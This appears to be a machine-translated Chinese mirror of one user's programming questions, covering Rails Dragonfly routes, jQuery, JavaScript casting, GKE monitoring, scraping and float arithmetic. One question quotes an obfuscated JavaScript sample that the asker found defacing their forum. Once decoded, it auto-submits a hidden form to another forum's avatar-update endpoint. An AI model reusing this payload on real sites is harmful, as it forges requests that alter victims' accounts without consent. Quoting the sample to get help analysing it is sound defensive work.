小编c69*_*c69的帖子

蜻蜓和短网址

我在一个项目中使用Dragonfly,该项目返回大量照片并希望优化URL.我目前正在获取图片网址:

HTTP://本地主机:3000 /媒体/ BAhbCFsHOgZmSSJgZmRlL2ZkZTAxYzQ0LTM4Y2UtNGU0ZS1iOWRlLWUwZmUxNWUwN2JmMC83Mzk1NmZlMC05ZTA5LTQzNWUtODUyMC00MzFlYzQxMzQ1OTQvb3JpZ2luYWwuanBlZwY6BkVUWwg6BnA6CnRodW1iSSIMMjQweDI0MAY7BkZbCTsHOgxjb252ZXJ0SSIQLXF1YWxpdHkgODAGOwZGMA/240x240.jpg

哪个超过256个字节.我喜欢这样的东西:

HTTP://本地主机:3000 /媒体/ 1024/240x240_medium.jpg

这符合:

/media/:id/:format
Run Code Online (Sandbox Code Playgroud)

在使用Dragonfly和Rails时,我如何添加它,以便:format映射到一系列操作并:id用于查找模型或图像?谢谢!

编辑:

Mime::Type为我需要的每种格式添加了自定义,并具有以下工作:

# config/routes.rb
match "/photos/:id/:style", to: "photos#show", as: :media

# app/controllers/photos_controller.rb
def show
  @photo = Photo.find(params[:id])

  respond_to do |format|
    format.html # show.html.erb
    format.jpg { cache('public', 86400); redirect_to @photo.url(params[:style], 'jpg') }
    format.png { cache('public', 86400); redirect_to @photo.url(params[:style], 'png') }
    format.gif { cache('public', 86400); redirect_to @photo.url(params[:style], 'gif') }
  end
end

# app/views/photos/show.html.erb
<%= image_tag media_path(id: @photo.id, style: 'small', format: 'png') %>
Run Code Online (Sandbox Code Playgroud)

然而,这导致302每个图像(但在其他情况下工作正常).是否可以将其作为渲染处理或以某种方式进行内部重定向(即不要求客户端发出重复请求)?

ruby ruby-on-rails dragonfly-gem

3
推荐指数
1
解决办法
1667
查看次数

Windows 8 JS应用程序中的jQuery

我们可以在Windows 8 JS应用程序中使用jQuery和jQuery UI等框架吗?我找不到一个文档,我可以在其中阅读有关其他框架的内容.

谢谢.

javascript windows jquery

3
推荐指数
1
解决办法
649
查看次数

在Javascript中使用(1*x)将字符串整数转换为整数的任何缺点?

如果比较将变量类型转换为整数的不同显式方法:

var y = parseInt(x,10) + 'text'; //太长了,需要包装,需要反八角黑客

var y = x.toFixed(0) + 'text'; //仍然很长,甚至更丑,也许还有马车

var y = Math.floor(x) + 'text'; // long并使用Math对象

var y = Number(x) + 'text'; // 长

var y = +x + 'text'; //很短,但太hacky

var y = 1 * x + 'text'; //简单而简短

你会看到,为什么最后一个是我最喜欢的.然而,我想知道,如果这种方法有任何隐藏的问题?

javascript integer casting

3
推荐指数
1
解决办法
187
查看次数

监控 GKE 节点中 CPU 和内存的百分比

我想使用 Stackdriver 监控来监视我的 GKE 节点的 CPU/mem % 使用率。

但是,在浏览 Stackdriver Monitoring UI 时,似乎没有任何此类选项可用(就百分比而言)。

另一方面,对于(似乎是)绝对内存使用,似乎有 2 个极其相似的指标(它们的描述是相同的)。(附截图)。

有没有人知道如何提供 GKE 节点上使用的内存和 CPU 的百分比?(不是容器)

在此处输入图片说明

在此处输入图片说明

monitoring google-kubernetes-engine stackdriver google-cloud-monitoring google-cloud-stackdriver

3
推荐指数
1
解决办法
1183
查看次数

Opera中的任何调试工具(如firefox中的firebug)?

就像firefox将firebug作为Web应用程序开发人员的有效工具一样,我想知道在Opera中是否有类似的工具用于Web开发人员?

firefox firebug opera web-applications opera-dragonfly

2
推荐指数
1
解决办法
2597
查看次数

如何抓取网站内容(*复杂* iframe、javascript 提交)

我以前做过网络抓取,但从未如此复杂。我想从学校网站获取课程信息。然而,所有课程信息都显示在网络爬虫的噩梦中。

首先,当您单击“课程表”网址时,它会首先引导您浏览其他几个页面(我相信是设置 cookie 并检查其他垃圾)。

然后它最终加载一个带有 iframe 的页面,该页面显然只喜欢从机构网页(即 arizona.edu)内加载时加载。

从那里开始,表单提交必须通过按钮进行,这些按钮实际上并不重新加载页面,而只是提交 AJAX 查询,我认为它只是操纵 iframe。

这个查询对我来说特别难以复制。我一直在使用 PHP 和curl 来模拟浏览器访问初始页面,收集正确的cookie 等。但我认为我的curl 函数发送的标头有问题,因为它永远不允许我在初始“搜索表单”加载后执行任何类型的查询。

任何帮助都是极好的...

http://www.arizona.edu/students/registering-classes ->“课程表”

或者就在这里: http: //schedule.arizona.edu/

javascript php iframe web-scraping

2
推荐指数
1
解决办法
4905
查看次数

有没有办法检查jQuery是否已经附加到html页面?

我有一些jQuery将被放在多个不同的HTML页面上,我不知道他们是否会附加jQuery库.我想这样做,以便它不加载库,如果它已经存在于页面上,以便它可以更快,但我无法弄清楚是否有办法检查库是否已附加到页面.

有办法吗?

html jquery

2
推荐指数
1
解决办法
193
查看次数

JavaScript将0.000000002添加到计算中

来源:Pastebin 屏幕截图:图片

<input alt="Flyer|49.80" type="checkbox" class="price" id="cb3" name="price_3" />
<input alt="CMS|199.99" type="checkbox" class="price" id="cb1" name="price_1" />
Run Code Online (Sandbox Code Playgroud)

嘿伙计!

也许有人可以在我的来源中给我一点提示.当我添加49.8 + 199.99时,它会增加0.000000002到我的总和.

谢谢你的任何建议!

javascript floating-point

2
推荐指数
1
解决办法
485
查看次数

Javascript编码?

有人正在使用一个奇怪的脚本来破坏我的论坛,我跟踪它并找到了javascript,但它是"编码"的,有人可以帮我吗?

这里是:

<script language="javascript">
var enkripsi="'1A`mf{'02mlNmcf'1F'00qw`okv]dmpo'0:'0;'1@'00'1G'2C'1Admpo'02lcog'1F'00o{dmpo'00'02cavkml'1F'00jvvr'1C--dmpwo,hmemq,wmn,amo,`p-fup-gzga-WqgpDwlavkmlq,wrfcvgWqgpCtcvcp,fup'00'02ogvjmf'1F'00RMQV'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00acnnAmwlv'00'02tcnwg'1F'003'00'1G'02'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00a2/qapkrvLcog'00'02tcnwg'1F'00WqgpDwlavkmlq'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00a2/ogvjmfLcog'00'02tcnwg'1F'00wrfcvgWqgpCtcvcp'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00a2/kf'00'02tcnwg'1F'007:55]3135040515351'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00a2/rcpco2'00'02tcnwg'1F'00qvpkle'1C72;;'00'1G'2C'02'02'1Aklrwv'02v{rg'1F'00jkffgl'00'02lcog'1F'00zon'00'02tcnwg'1F'00vpwg'00'1G'2C'02'02Rngcqg'02ankai'02jgpg'1C'02'1Aklrwv'02v{rg'1F'00qw`okv'00'02tcnwg'1F'00Amlvklwg,,,'00'02-'1G'1A-r'1G'2C'1A-dmpo'1G'2C'2C'1Aqapkrv'02nclewceg'1F'00hctcqapkrv'00'1G'2C'02'02'1A'03//'2C'02'02dwlavkml'02qw`okv]dmpo'0:'0;'02'2C'02'02'5@'2C'02'2;fmawoglv,o{dmpo,qw`okv'0:'0;'2C'02'02'5F'2C'02'02//'1G'2C'1A-qapkrv'1G"; teks=""; teksasli="";var panjang;panjang=enkripsi.length;for (i=0;i<panjang;i++){ teks+=String.fromCharCode(enkripsi.charCodeAt(i)^2) }teksasli=unescape(teks);document.write(teksasli);
</script>
Run Code Online (Sandbox Code Playgroud)

javascript encryption

2
推荐指数
1
解决办法
911
查看次数

在Javascript中调用函数loadText和loadText()之间的区别是什么?

我有一个简单的JS函数,可以将文本行加载到无序列表.

使用Javascript

function loadText() {
    document.getElementById("text1").innerHTML = "Text1";
    document.getElementById("text2").innerHTML = "Text2";
    document.getElementById("text3").innerHTML = "Text3";
}
window.onload = loadText;
Run Code Online (Sandbox Code Playgroud)

HTML

<ul id="textlist">
        <li id="text1"></li>
        <li id="text2"></li>
        <li id="text3"></li>
</ul>
Run Code Online (Sandbox Code Playgroud)

这实际上适用于浏览器(Chrome),但是当我使用window.onload = loadText();而不是window.onload = loadText;.我收到错误:

未捕获的TypeError:无法设置null的属性'innerHTML'

我认为这是因为DOM没有被读取所以我尝试了,但是在那里遇到了同样的问题.然而,改window.onload = loadText();回去window.onload = loadText;再次工作.

我觉得这有点奇怪,这会引起不同.我在这里错过了什么吗?

html javascript html5 dom

2
推荐指数
1
解决办法
83
查看次数